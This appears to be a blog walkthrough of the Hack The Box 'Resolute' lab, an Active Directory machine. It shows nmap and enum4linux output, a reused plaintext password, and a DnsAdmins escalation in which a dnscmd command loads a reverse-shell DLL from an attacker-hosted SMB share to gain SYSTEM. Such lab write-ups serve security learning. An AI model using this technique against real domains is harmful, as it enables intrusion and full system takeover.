Hack The Box Resolute Machine Walkthrough — shaggy

Description: Hey everyone, I’m sharing the walkthrough for the Resolute machine on Hack The Box. This machine dives into how Active Directory services can be abused by attackers. Let’s solve it together. 🍾 🙌 🎉

First, let’s enumerate open ports and services.

1──(root㉿kali)-[/home/kali/Desktop/htb/Resolute]└─# cat resolute-nmap.txt# Nmap 7.94 scan initiated Sat Oct 21 07:50:21 2023 as: nmap --min-rate 7000 -p- -sS -sV -Pn -o resolute-nmap.txt 10.129.77.184Warning: 10.129.77.184 giving up on port because retransmission cap hit (10).Nmap scan report for 10.129.77.184Host is up (0.10s latency).Not shown: 60461 closed tcp ports (reset), 5051 filtered tcp ports (no-response)PORT      STATE SERVICE      VERSION53/tcp    open  domain       Simple DNS Plus88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2023-10-21 11:58:22Z)135/tcp   open  msrpc        Microsoft Windows RPC139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: MEGABANK)464/tcp   open  kpasswd5?593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0636/tcp   open  tcpwrapped3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)3269/tcp  open  tcpwrapped5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)9389/tcp  open  mc-nmf       .NET Message Framing49664/tcp open  msrpc        Microsoft Windows RPC49665/tcp open  msrpc        Microsoft Windows RPC49666/tcp open  msrpc        Microsoft Windows RPC49667/tcp open  msrpc        Microsoft Windows RPC49671/tcp open  msrpc        Microsoft Windows RPC49676/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.049677/tcp open  msrpc        Microsoft Windows RPC49684/tcp open  msrpc        Microsoft Windows RPC49825/tcp open  msrpc        Microsoft Windows RPC50438/tcp open  msrpc        Microsoft Windows RPCService Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windowsService detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Sat Oct 21 07:52:15 2023 -- 1 IP address (1 host up) scanned in 113.48 seconds

We use Enum4Linux to gather detailed information about the domain.

1──(root㉿kali)-[/home/kali/Desktop/htb/Resolute]└─# enum4linux 10.129.77.184 Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Oct 21 07:52:57 2023 =========================================( Target Information )=========================================Target ........... 10.129.77.184RID Range ........ 500-550,1000-1050Username .....

Enum4Linux reveals a user list and, crucially, a plaintext password left in a user description field. We use it to authenticate via WinRM.

With a shell as a regular user we start looking for privilege escalation paths. We notice the ryan user is part of the DnsAdmins group.

Members of DnsAdmins can instruct the DNS service to load an arbitrary DLL. We craft a malicious DLL with msfvenom, host it on an SMB share, then configure the DNS service to load it.

1dnscmd.exe /config /serverlevelplugindll \\10.10.14.x\share\rev.dll

After restarting the DNS service the DLL executes and we receive a SYSTEM shell.

Root flag grabbed. Thanks for reading, happy hacking! :)